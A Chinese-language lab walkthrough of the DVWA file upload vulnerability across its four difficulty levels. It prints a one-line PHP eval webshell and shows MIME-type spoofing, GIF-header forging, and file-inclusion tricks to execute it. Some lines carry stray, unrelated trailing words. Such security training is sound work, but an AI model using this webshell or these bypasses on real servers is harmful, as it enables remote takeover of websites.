1、漏洞概述php
File Upload(文件上傳漏洞)是指服務器對於上傳的文件類型、內容等沒有進行嚴格的過濾檢查,使得攻擊者能夠上傳木馬文件,從而得到服務端的webshell權限。web
2、工具shell
firefox,burp suite服務器
3、測試過程session
一、級別:low函數
貼上代碼:工具
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // Can we move the file to the upload folder? 9 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 10 // No 11 echo '<pre>Your image was not uploaded.</pre>'; 12 } 13 else { 14 // Yes! 15 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 16 } 17 } 18 19 ?>
這段代碼對於上傳文件的類型、內容等沒有進行任何的過濾檢查,直接將文件存儲在 "hackable/uploads/" 路徑下。所以咱們能夠直接上傳一個一句話木馬文件進行攻擊。測試
<?php @eval($_POST['test']);?> ui
獲得URL:http://192.168.*.*/dvwa/hackable/uploads/1.phpspa
使用蟻劍工具便可訪問服務端文件目錄:
二、級別:Medium
貼上代碼:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 13 // Is it an image? 14 if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && 15 ( $uploaded_size < 100000 ) ) { 16 17 // Can we move the file to the upload folder? 18 if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { 19 // No 20 echo '<pre>Your image was not uploaded.</pre>'; 21 } 22 else { 23 // Yes! 24 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 25 } 26 } 27 else { 28 // Invalid file 29 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 30 } 31 } 32 33 ?>
Medium級別的代碼對文件類型及大小進行了限制,此時再直接上傳php文件則會上傳失敗,只容許上傳jpeg及png類型的文件。
咱們使用burp suite進行抓包測試一下:
上傳一個容許上傳的文件:
上傳一個.php文件:
對比兩次上傳抓到的數據包,發現兩次的文件類型不一樣,咱們嘗試改變數據包中的文件類型並轉發出去:
發現文件上傳成功:
接下來就可使用蟻劍或其餘工具訪問服務端文件目錄。
三、級別:High
貼上代碼:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Where are we going to be writing to? 5 $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; 6 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 13 14 // Is it an image? 15 if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && 16 ( $uploaded_size < 100000 ) && 17 getimagesize( $uploaded_tmp ) ) { 18 19 // Can we move the file to the upload folder? 20 if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { 21 // No 22 echo '<pre>Your image was not uploaded.</pre>'; 23 } 24 else { 25 // Yes! 26 echo "<pre>{$target_path} succesfully uploaded!</pre>"; 27 } 28 } 29 else { 30 // Invalid file 31 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 32 } 33 } 34 35 ?>
能夠看到High級別的代碼中使用了getimagesize()函數,這個函數會讀取目標文件的16進制的前幾個字符串來斷定文件是什麼類型。
所以咱們能夠僞造文件頭部來繞過此斷定:
1 GIF89 2 <?php @eval($_POST['test']);?>
同時將文件命名爲1.jpg。再次上傳顯示成功:
另外一種方法可藉助cmd命令將咱們的木馬文件隱藏在圖片的後面:
用記事本打開新生成的文件能夠看到咱們的木馬加在了最後面:
此時便可成功上傳。
可是咱們再利用蟻劍工具時發現不能鏈接,須要讓他做爲php文件進行解析。
所以咱們配合文件包含漏洞使圖片格式的一句話木馬以php格式運行。
構造URL:
http://192.168.*.*/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/3.jpg
成功包含木馬文件,此時再使用其餘工具進行攻擊便可。
4.級別:Impossible
貼上代碼:
1 <?php 2 3 if( isset( $_POST[ 'Upload' ] ) ) { 4 // Check Anti-CSRF token 5 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 6 7 8 // File information 9 $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; 10 $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); 11 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; 12 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; 13 $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; 14 15 // Where are we going to be writing to? 16 $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; 17 //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; 18 $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 19 $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); 20 $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; 21 22 // Is it an image? 23 if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && 24 ( $uploaded_size < 100000 ) && 25 ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && 26 getimagesize( $uploaded_tmp ) ) { 27 28 // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) 29 if( $uploaded_type == 'image/jpeg' ) { 30 $img = imagecreatefromjpeg( $uploaded_tmp ); 31 imagejpeg( $img, $temp_file, 100); 32 } 33 else { 34 $img = imagecreatefrompng( $uploaded_tmp ); 35 imagepng( $img, $temp_file, 9); 36 } 37 imagedestroy( $img ); 38 39 // Can we move the file to the web root from the temp folder? 40 if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { 41 // Yes! 42 echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; 43 } 44 else { 45 // No 46 echo '<pre>Your image was not uploaded.</pre>'; 47 } 48 49 // Delete any temp files 50 if( file_exists( $temp_file ) ) 51 unlink( $temp_file ); 52 } 53 else { 54 // Invalid file 55 echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 56 } 57 } 58 59 // Generate Anti-CSRF token 60 generateSessionToken(); 61 62 ?>
Impossible級別代碼中對上傳的文件以md5進行了重命名,使用00截斷沒法繞過過濾規則,並使用Anti-CSRF token防禦CSRF攻擊,還對文件內容進行嚴格的檢查過濾,攻擊者沒法進行文件上傳漏洞攻擊。